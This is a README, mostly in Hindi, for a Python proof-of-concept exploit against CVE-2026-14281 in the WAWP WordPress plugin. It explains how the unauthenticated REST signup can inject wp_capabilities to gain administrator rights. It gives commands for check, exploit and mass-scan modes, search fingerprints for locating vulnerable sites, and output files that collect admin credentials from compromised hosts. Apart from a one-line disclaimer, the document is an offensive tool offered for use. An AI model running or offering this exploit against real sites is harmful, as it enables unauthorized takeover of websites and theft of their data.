
WordPress WAWP (Automation Web Platform) ≤ 4.8.6 में सार्वजनिक REST साइनअप और unsanitized wawp_custom_fields के माध्यम से अनधिकृत विशेषाधिकार वृद्धि → admin। Python check/exploit PoC (PoCbit)।
WordPress प्लगइन Automation Web Platform (automation-web-platform — WAWP / Notifications & OTP for WooCommerce) में CVE-2026-14281 के लिए Python 3 PoC।
PoCbit पर सूचीबद्ध — समुदाय कैटलॉग: https://pocbit.org/pocs/
PoC चलाने पर एक PoCbit हेडर प्रिंट होता है; JSONL पंक्तियों में pocbit, pocbit_catalog, और pocbit_page शामिल होते हैं।
| Platform | WordPress plugin |
| Component | Automation Web Platform (WAWP) |
| Affected | ≤ 4.8.6 |
| Fixed in | > 4.8.6 (नवीनतम स्थिर संस्करण में अपग्रेड करें) |
| CVSS 3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Unauthenticated |
| Vector | Public REST POST /wp-json/wawp/v1/signup/signup |
साइनअप REST हैंडलर (public_permissions_check) wawp_custom_fields स्वीकार करता है, इसे custom_fields_data में मैप करता है, और wp_insert_user() के बाद बिना किसी allowlist के प्रत्येक key को update_user_meta() से लिखता है। हमलावर administrator प्राप्त करने के लिए wp_capabilities और wp_user_level सेट कर सकते हैं।
संबंधित कोड (4.8.6): includes/api/class-wawp-rest-settings-api.php (/signup/(?P<op>…)), includes/auth-services/class-wawp-otp-service.php (wawp_custom_fields → custom_fields_data), includes/auth-services/class-wawp-signup.php (finish_registration_logic)।
जब signup OTP सक्षम होता है, तो पहला signup कॉल otp_verify पर रुक सकता है (चैलेंज भेजा गया) और पंजीकरण केवल OTP के बाद पूरा होता है — पूरी unauth admin चेन के लिए OTP अक्षम होना या अलग OTP bypass की आवश्यकता हो सकती है। उस स्थिति में PoC otp_required रिपोर्ट करता है।
pip install -r requirements.txt
Python 3.8+।
# Version + REST surface + optional live signup probe (creates a throwaway user if OTP off)
python poc.py -u https://target.example --mode check
# Register admin-capable user (authorized targets only)
python poc.py -u https://target.example --mode exploit --verify
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON to stdout (single target)
python poc.py -u https://target.example --mode check 2>nul
| File | Meaning |
|---|---|
cve_2026_14281_results.jsonl | प्रति-लक्ष्य पूर्ण JSON |
hits.txt | उम्मीदवार होस्ट (check) या url|email|password (exploit) |
candidates.jsonl | Check-mode सारांश |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है।
| Status | Meaning |
|---|
exploit_confirmed_probe | Probe signup पूर्ण (OTP off); meta injection पथ सक्रिय |
vulnerable_otp_blocks_signup | Plugin/version + REST OK; OTP चरण one-shot signup को अवरुद्ध करता है |
vulnerable_rest_signup | Vulnerable version; REST पहुँच योग्य (probe अनिर्णायक) |
patched | Version > 4.8.6 |
no_plugin | Plugin का पता नहीं चला |